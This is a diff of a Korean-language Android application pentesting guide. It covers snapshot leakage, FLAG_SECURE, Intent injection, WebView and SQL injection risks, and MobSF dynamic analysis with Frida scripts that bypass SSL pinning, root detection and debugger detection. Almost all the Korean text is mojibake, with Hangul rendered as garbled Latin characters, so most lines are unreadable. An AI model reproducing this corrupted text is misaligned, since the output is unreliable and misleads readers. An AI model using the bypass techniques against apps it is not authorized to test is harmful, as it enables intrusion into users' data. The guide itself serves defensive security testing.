**๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ด๋ฏธ์ง€** -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฐฑ๊ทธ๋ผ์šด๋“œ๋กœ ๋ณด๋‚ผ ๋•Œ, Android๋Š” **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์Šค๋ƒ…์ƒท**์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ํฌ๊ทธ๋ผ์šด๋“œ๋กœ ๋ณต์›๋  ๋•Œ ์•ฑ ์ž์ฒด๊ฐ€ ๋กœ๋“œ๋˜๊ธฐ ์ „์— ์ด๋ฏธ์ง€๋ฅผ ๋จผ์ € ๋ถˆ๋Ÿฌ์™€ ์•ฑ์ด ๋” ๋นจ๋ฆฌ ๋กœ๋“œ๋œ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. +์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฐฑ๊ทธ๋ผ์šด๋“œ๋กœ ๋ณด๋‚ผ ๋•Œ, Android๋Š” **snapshot of the application**์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ํฌ๊ทธ๋ผ์šด๋“œ๋กœ ๋ณต๊ตฌ๋  ๋•Œ ์•ฑ๋ณด๋‹ค ๋จผ์ € ์ด๋ฏธ์ง€๋ฅผ ๋ถˆ๋Ÿฌ์™€ ์•ฑ์ด ๋” ๋นจ๋ฆฌ ๋กœ๋“œ๋œ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ž…๋‹ˆ๋‹ค. -ํ•˜์ง€๋งŒ ์ด ์Šค๋ƒ…์ƒท์— **๋ฏผ๊ฐํ•œ ์ •๋ณด**๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์Šค๋ƒ…์ƒท์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ๋žŒ์ด ํ•ด๋‹น ์ •๋ณด๋ฅผ **ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** (์ ‘๊ทผํ•˜๋ ค๋ฉด root๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”). +ํ•˜์ง€๋งŒ ์ด snapshot์— **๋ฏผ๊ฐํ•œ ์ •๋ณด**๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด, snapshot์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋ˆ„๊ตฐ๊ฐ€๊ฐ€ ๊ทธ ์ •๋ณด๋ฅผ **ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**(์ ‘๊ทผํ•˜๋ ค๋ฉด root๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค). -์Šค๋ƒ…์ƒท์€ ๋ณดํ†ต ๋‹ค์Œ ๊ฒฝ๋กœ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค: **`/data/system_ce/0/snapshots`** +์Šค๋ƒ…์ƒท์€ ๋ณดํ†ต ๋‹ค์Œ ์œ„์น˜์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค: **`/data/system_ce/0/snapshots`** -Android๋Š” **FLAG_SECURE ๋ ˆ์ด์•„์›ƒ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์„ค์ •ํ•˜์—ฌ ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜๋ฅผ ๋ฐฉ์ง€**ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์œˆ๋„์šฐ์˜ ๋‚ด์šฉ์ด ๋ณด์•ˆ ์ฒ˜๋ฆฌ๋˜์–ด ์Šคํฌ๋ฆฐ์ƒท์— ๋‚˜ํƒ€๋‚˜๊ฑฐ๋‚˜ ๋น„๋ณด์•ˆ ๋””์Šคํ”Œ๋ ˆ์ด์—์„œ ํ‘œ์‹œ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. +Android๋Š” FLAG_SECURE ๋ ˆ์ด์•„์›ƒ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์„ค์ •ํ•˜์—ฌ **screenshot ์บก์ฒ˜๋ฅผ ๋ฐฉ์ง€**ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ฐฝ ๋‚ด์šฉ์ด ๋ณด์•ˆ ์ฒ˜๋ฆฌ๋˜์–ด ์Šคํฌ๋ฆฐ์ƒท์— ๋‚˜ํƒ€๋‚˜๊ฑฐ๋‚˜ ๋ณด์•ˆ๋˜์ง€ ์•Š์€ ๋””์Šคํ”Œ๋ ˆ์ด์—์„œ ๋ณด์—ฌ์ง€๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -์ด ๋„๊ตฌ๋Š” dynamic analysis ์ค‘ ์—ฌ๋Ÿฌ ๋„๊ตฌ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +์ด ๋„๊ตฌ๋Š” ๋™์  ๋ถ„์„ ์ค‘ ์—ฌ๋Ÿฌ ๋„๊ตฌ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -๊ฐœ๋ฐœ์ž๋“ค์€ ์ข…์ข… Intent๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ณ  `startActivity(...)`๋‚˜ `sendBroadcast(...)` ๊ฐ™์€ ๋ฉ”์„œ๋“œ๋กœ ์ „๋‹ฌํ•˜๋Š” proxy ์ปดํฌ๋„ŒํŠธ(์•กํ‹ฐ๋น„ํ‹ฐ, ์„œ๋น„์Šค, ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ๋ฆฌ์‹œ๋ฒ„ ๋“ฑ)๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์ด๋Š” ์œ„ํ—˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๊ฐœ๋ฐœ์ž๋Š” ์ข…์ข… ์ด๋Ÿฌํ•œ Intent๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ณ  `startActivity(...)`๋‚˜ `sendBroadcast(...)`์™€ ๊ฐ™์€ ๋ฉ”์†Œ๋“œ๋กœ ์ „๋‹ฌํ•˜๋Š” activity, service, broadcast receiver์™€ ๊ฐ™์€ ํ”„๋ก์‹œ ์ปดํฌ๋„ŒํŠธ๋ฅผ ๋งŒ๋“ค๋ฉฐ, ์ด๋Š” ์œ„ํ—˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋Ÿฌํ•œ Intent๋ฅผ ์ž˜๋ชป ์œ ๋„ํ•˜์—ฌ non-exported ์•ฑ ์ปดํฌ๋„ŒํŠธ๋ฅผ ํ˜ธ์ถœํ•˜๊ฑฐ๋‚˜ ๋ฏผ๊ฐํ•œ content providers์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด ์œ„ํ—˜์˜ ํ•ต์‹ฌ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด `WebView`๊ฐ€ URL์„ `Intent` ๊ฐ์ฒด๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ์œ„ํ•ด `Intent.parseUri(...)`๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด, ์•…์˜์ ์ธ Intent injection์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์œ„ํ—˜์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋Ÿฌํ•œ Intent๋ฅผ ์ž˜๋ชป ์œ ๋„ํ•˜์—ฌ export๋˜์ง€ ์•Š์€ ์•ฑ ๊ตฌ์„ฑ์š”์†Œ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ฑฐ๋‚˜ ๋ฏผ๊ฐํ•œ content providers์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋Š” ๋ฐ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, `WebView` ์ปดํฌ๋„ŒํŠธ๊ฐ€ URL์„ `Intent.parseUri(...)`๋กœ `Intent` ๊ฐ์ฒด๋กœ ๋ณ€ํ™˜ํ•œ ๋’ค ์ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์•…์˜์ ์ธ Intent injections๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -### Essential Takeaways +### ํ•ต์‹ฌ ์š”์•ฝ - **Intent Injection**์€ ์›น์˜ Open Redirect ๋ฌธ์ œ์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. -- ๊ณต๊ฒฉ์€ `Intent` ๊ฐ์ฒด๋ฅผ extras๋กœ ์ „๋‹ฌํ•ด ๋ฆฌ๋””๋ ‰์…˜์‹œ์ผœ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ๋™์ž‘์„ ์‹คํ–‰ํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ค„์ง‘๋‹ˆ๋‹ค. -- non-exported ์ปดํฌ๋„ŒํŠธ์™€ content providers๋ฅผ ๊ณต๊ฒฉ์ž์—๊ฒŒ ๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- `WebView`์˜ URL โ†’ `Intent` ๋ณ€ํ™˜์€ ์˜๋„์น˜ ์•Š์€ ๋™์ž‘์„ ์ด‰๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ๊ณต๊ฒฉ์€ `Intent` ๊ฐ์ฒด๋ฅผ extras๋กœ ์ „๋‹ฌํ•˜์—ฌ ์ด๋ฅผ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•ด ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ๋™์ž‘์„ ์‹คํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. +- ์ด๋Š” export๋˜์ง€ ์•Š์€ ์ปดํฌ๋„ŒํŠธ ๋ฐ content providers๋ฅผ ๊ณต๊ฒฉ์ž์—๊ฒŒ ๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- `WebView`์˜ URL โ†’ `Intent` ๋ณ€ํ™˜์€ ์˜๋„์น˜ ์•Š์€ ๋™์ž‘์„ ์ด‰์ง„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -### Android Client Side Injections and others +### Android Client Side Injections ๋ฐ ๊ธฐํƒ€ -์•„๋งˆ ์›น์—์„œ ์ด๋Ÿฐ ์ข…๋ฅ˜์˜ ์ทจ์•ฝ์ ์„ ์ ‘ํ•ด๋ณด์…จ์„ ๊ฒ๋‹ˆ๋‹ค. Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋Š” ํŠนํžˆ ๋‹ค์Œ ์ทจ์•ฝ์ ๋“ค์— ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +์•„๋งˆ๋„ ์›น์—์„œ ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ์ทจ์•ฝ์ ์„ ์•Œ๊ณ  ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋Š” ๋‹ค์Œ ์ทจ์•ฝ์ ๋“ค์— ํŠนํžˆ ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: -- **SQL Injection:** dynamic ์ฟผ๋ฆฌ๋‚˜ Content-Providers๋ฅผ ๋‹ค๋ฃฐ ๋•Œ๋Š” parameterized queries๋ฅผ ์‚ฌ์šฉํ–ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. -- **JavaScript Injection (XSS):** ๋ชจ๋“  WebViews์— ๋Œ€ํ•ด JavaScript ๋ฐ Plugin ์ง€์›์ด ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”(๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑ). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews๊ฐ€ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(๊ธฐ๋ณธ์ ์œผ๋กœ ํ—ˆ์šฉ๋จ) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: ๋งŽ์€ ๊ฒฝ์šฐ Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์„ธ์…˜์„ ์ข…๋ฃŒํ•ด๋„ ์ฟ ํ‚ค๊ฐ€ ์ทจ์†Œ๋˜์ง€ ์•Š๊ฑฐ๋‚˜ ๋””์Šคํฌ์— ์ €์žฅ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **SQL Injection:** ๋™์  ์ฟผ๋ฆฌ๋‚˜ Content-Providers๋ฅผ ๋‹ค๋ฃฐ ๋•Œ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐํ™”๋œ ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. +- **JavaScript Injection (XSS):** ๋ชจ๋“  WebView์— ๋Œ€ํ•ด JavaScript์™€ Plugin ์ง€์›์ด ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”(๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”๋จ). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebView๋Š” ํŒŒ์ผ ์‹œ์Šคํ…œ ์ ‘๊ทผ์ด ๋น„ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(๊ธฐ๋ณธ๊ฐ’์€ ํ™œ์„ฑํ™”๋จ) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: ๋งŽ์€ ๊ฒฝ์šฐ Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์„ธ์…˜์„ ์ข…๋ฃŒํ•  ๋•Œ ์ฟ ํ‚ค๊ฐ€ ํ•ด์ง€๋˜์ง€ ์•Š๊ฑฐ๋‚˜ ๋””์Šคํฌ์— ์ €์žฅ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Automatic Analysis +## ์ž๋™ ๋ถ„์„ ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Static analysis** +**์ •์  ๋ถ„์„** ![](<../../images/image (866).png>) -**Vulnerability assessment of the application**์„ ์›น ๊ธฐ๋ฐ˜ ํ”„๋ŸฐํŠธ์—”๋“œ๋กœ ๋ณด๊ธฐ ์ข‹๊ฒŒ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. dynamic analysis๋„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋‚˜ ํ™˜๊ฒฝ์„ ๋ฏธ๋ฆฌ ์ค€๋น„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +**์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ทจ์•ฝ์  ํ‰๊ฐ€**๋Š” ๋ณด๊ธฐ ์ข‹์€ ์›น ๊ธฐ๋ฐ˜ ํ”„๋ก ํŠธ์—”๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋™์  ๋ถ„์„๋„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋‹จ, ํ™˜๊ฒฝ์„ ์ค€๋น„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -613,41 +613,41 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. -### MobSF๋ฅผ ์ด์šฉํ•œ ๋ณด์กฐ ๋™์  ๋ถ„์„ +### MobSF๋ฅผ ์ด์šฉํ•œ Assisted Dynamic analysis -**MobSF**๋Š” Android์˜ **dynamic analysis**์— ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด ๊ฒฝ์šฐ ํ˜ธ์ŠคํŠธ์— MobSF์™€ **genymotion**์„ ์„ค์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (VM์ด๋‚˜ Docker์—์„œ๋Š” ๋™์ž‘ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค). _์ฐธ๊ณ : ๋จผ์ € genymotion์—์„œ **VM์„ ์‹œ์ž‘**ํ•œ ๋‹ค์Œ **MobSF๋ฅผ ์‹œ์ž‘**ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค._\ +**MobSF**๋Š” Android์—์„œ์˜ **Dynamic analysis**์— ๋งค์šฐ ์œ ์šฉํ•˜์ง€๋งŒ, ์ด ๊ฒฝ์šฐ ํ˜ธ์ŠคํŠธ์— MobSF์™€ **genymotion**์„ ์„ค์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(๊ฐ€์ƒ ๋จธ์‹ ์ด๋‚˜ Docker๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค). _์ฐธ๊ณ : ๋จผ์ € **genymotion**์—์„œ VM์„ ์‹œ์ž‘ํ•œ ๋‹ค์Œ **MobSF**๋ฅผ ์‹œ์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค._\ **MobSF dynamic analyser**๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: -- **Dump application data** (URLs, ๋กœ๊ทธ, ํด๋ฆฝ๋ณด๋“œ, ์‚ฌ์šฉ์ž๊ฐ€ ์ฐ์€ ์Šคํฌ๋ฆฐ์ƒท, "**Exported Activity Tester**"๊ฐ€ ์ฐ์€ ์Šคํฌ๋ฆฐ์ƒท, ์ด๋ฉ”์ผ, SQLite ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค, XML ํŒŒ์ผ ๋ฐ ๊ธฐํƒ€ ์ƒ์„ฑ๋œ ํŒŒ์ผ). ์ด๋“ค ์ค‘ ์Šคํฌ๋ฆฐ์ƒท์„ ์ œ์™ธํ•œ ๋ชจ๋“  ํ•ญ๋ชฉ์€ ์ž๋™์œผ๋กœ ์ˆ˜์ง‘๋ฉ๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฐ์ƒท์€ ์ง์ ‘ ์ดฌ์˜ํ•  ๋•Œ๋งŒ ์ €์žฅ๋˜๋ฉฐ, ๋ชจ๋“  exported activities์˜ ์Šคํฌ๋ฆฐ์ƒท์„ ์–ป์œผ๋ ค๋ฉด "**Exported Activity Tester**"๋ฅผ ๋ˆŒ๋Ÿฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). ์ด๋“ค ์ค‘ ์Šคํฌ๋ฆฐ์ƒท์„ ์ œ์™ธํ•œ ๋ชจ๋“  ํ•ญ๋ชฉ์€ ์ž๋™์œผ๋กœ ์ˆ˜์ง‘๋ฉ๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฐ์ƒท์€ ์›ํ•  ๋•Œ ์ง์ ‘ ์ฐ๊ฑฐ๋‚˜ "**Exported Activity Tester**"๋ฅผ ๋ˆŒ๋Ÿฌ ๋ชจ๋“  exported activities์˜ ์Šคํฌ๋ฆฐ์ƒท์„ ์–ป์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. - Capture **HTTPS traffic** - Use **Frida** to obtain **runtime** **information** -android **versions > 5**๋ถ€ํ„ฐ๋Š” **Frida๋ฅผ ์ž๋™์œผ๋กœ ์‹œ์ž‘**ํ•˜๊ณ  ์ „์ฒด **proxy** ์„ค์ •์„ ํ•˜์—ฌ ํŠธ๋ž˜ํ”ฝ์„ **capture**ํ•ฉ๋‹ˆ๋‹ค. ํ…Œ์ŠคํŠธ ๋Œ€์ƒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํŠธ๋ž˜ํ”ฝ๋งŒ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค. +android **versions > 5**์—์„œ๋Š” **Frida**๋ฅผ ์ž๋™์œผ๋กœ ์‹œ์ž‘ํ•˜๊ณ  ํŠธ๋ž˜ํ”ฝ์„ ์บก์ฒ˜ํ•˜๊ธฐ ์œ„ํ•ด ์ „์—ญ **proxy** ์„ค์ •์„ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์บก์ฒ˜๋˜๋Š” ํŠธ๋ž˜ํ”ฝ์€ ํ…Œ์ŠคํŠธ ์ค‘์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๋ฐœ์ƒํ•˜๋Š” ํŠธ๋ž˜ํ”ฝ๋งŒ ํ•ด๋‹น๋ฉ๋‹ˆ๋‹ค. **Frida** -๊ธฐ๋ณธ์ ์œผ๋กœ ๋ช‡๋ช‡ Frida Scripts๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **SSL pinning**, **root detection**, **debugger detection**์„ ์šฐํšŒํ•˜๊ณ  ํฅ๋ฏธ๋กœ์šด API๋ฅผ **monitor**ํ•ฉ๋‹ˆ๋‹ค.\ -MobSF๋Š” **invoke exported activities**๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ํ•ด๋‹น ํ™œ๋™๋“ค์˜ **screenshots**๋ฅผ ์บก์ฒ˜ํ•˜์—ฌ ๋ณด๊ณ ์„œ์— **save**ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +๊ธฐ๋ณธ์ ์œผ๋กœ ๋ช‡๋ช‡ Frida Scripts๋ฅผ ์‚ฌ์šฉํ•ด **SSL pinning**, **root detection**, **debugger detection**์„ ์šฐํšŒํ•˜๊ณ  ํฅ๋ฏธ๋กœ์šด API๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค.\ +MobSF๋Š” ๋˜ํ•œ **invoke exported activities**, ํ•ด๋‹น ํ™œ๋™์˜ **screenshots**์„ ์บก์ฒ˜ํ•˜๊ณ  ๋ฆฌํฌํŠธ์šฉ์œผ๋กœ **save**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -๋™์  ํ…Œ์ŠคํŠธ๋ฅผ **start**ํ•˜๋ ค๋ฉด ์ดˆ๋ก์ƒ‰ ๋ฒ„ํŠผ์ธ: "**Start Instrumentation**"์„ ๋ˆ„๋ฅด์„ธ์š”. Frida ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ƒ์„ฑํ•œ ๋กœ๊ทธ๋ฅผ ๋ณด๋ ค๋ฉด "**Frida Live Logs**"๋ฅผ ๋ˆ„๋ฅด๊ณ , ํ›…๋œ ๋ฉ”์„œ๋“œ์˜ ํ˜ธ์ถœ, ์ „๋‹ฌ๋œ ์ธ์ˆ˜ ๋ฐ ๋ฐ˜ํ™˜ ๊ฐ’์„ ๋ณด๋ ค๋ฉด "**Live API Monitor**"๋ฅผ ๋ˆ„๋ฅด์„ธ์š”(์ด๋Š” "Start Instrumentation"์„ ๋ˆ„๋ฅธ ํ›„ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค).\ -MobSF๋Š” ๋˜ํ•œ ์‚ฌ์šฉ์ž ์ •์˜ **Frida scripts**๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (Frida scripts์˜ ๊ฒฐ๊ณผ๋ฅผ MobSF๋กœ ์ „์†กํ•˜๋ ค๋ฉด `send()` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”). ์—ฌ๋Ÿฌ **์‚ฌ์ „ ์ž‘์„ฑ๋œ ์Šคํฌ๋ฆฝํŠธ**๋„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ (`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`์— ์ถ”๊ฐ€ ๊ฐ€๋Šฅ), ์Šคํฌ๋ฆฝํŠธ๋ฅผ **์„ ํƒ**ํ•œ ๋’ค "**Load**"๋ฅผ ๋ˆ„๋ฅด๊ณ  "**Start Instrumentation**"์„ ๋ˆ„๋ฅด๋ฉด ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ์˜ ๋กœ๊ทธ๋ฅผ "**Frida Live Logs**"์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋™์  ํ…Œ์ŠคํŠธ๋ฅผ **start**ํ•˜๋ ค๋ฉด ๋…น์ƒ‰ ๋ฒ„ํŠผ์ธ: "**Start Instrumentation**"์„ ๋ˆ„๋ฅด์„ธ์š”. "**Frida Live Logs**"๋ฅผ ๋ˆŒ๋Ÿฌ Frida ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ƒ์„ฑํ•œ ๋กœ๊ทธ๋ฅผ ๋ณด๊ณ , "**Live API Monitor**"๋ฅผ ๋ˆŒ๋Ÿฌ ํ›„ํ‚น๋œ ๋ฉ”์„œ๋“œ์˜ ํ˜ธ์ถœ, ์ „๋‹ฌ๋œ ์ธ์ž ๋ฐ ๋ฐ˜ํ™˜๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ด ํ•ญ๋ชฉ์€ "Start Instrumentation"์„ ๋ˆ„๋ฅธ ํ›„์— ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค).\ +MobSF๋Š” ๋˜ํ•œ ์ž์ฒด **Frida scripts**๋ฅผ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(Frida ์Šคํฌ๋ฆฝํŠธ์˜ ๊ฒฐ๊ณผ๋ฅผ MobSF๋กœ ๋ณด๋‚ด๋ ค๋ฉด `send()` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”). ๋˜ํ•œ ๋ฏธ๋ฆฌ ์ž‘์„ฑ๋œ **์—ฌ๋Ÿฌ ์Šคํฌ๋ฆฝํŠธ**๋ฅผ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ์œผ๋ฉฐ(๋” ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`์— ์ถ”๊ฐ€), ๋‹จ์ˆœํžˆ ์„ ํƒ ํ›„ "**Load**"๋ฅผ ๋ˆ„๋ฅด๊ณ  "**Start Instrumentation**"์„ ๋ˆ„๋ฅด๋ฉด ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ์˜ ๋กœ๊ทธ๋ฅผ "**Frida Live Logs**"์—์„œ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ![](<../../images/image (419).png>) ๋˜ํ•œ ๋ช‡ ๊ฐ€์ง€ ๋ณด์กฐ Frida ๊ธฐ๋Šฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค: -- **Enumerate Loaded Classes**: ๋กœ๋“œ๋œ ๋ชจ๋“  ํด๋ž˜์Šค๋ฅผ 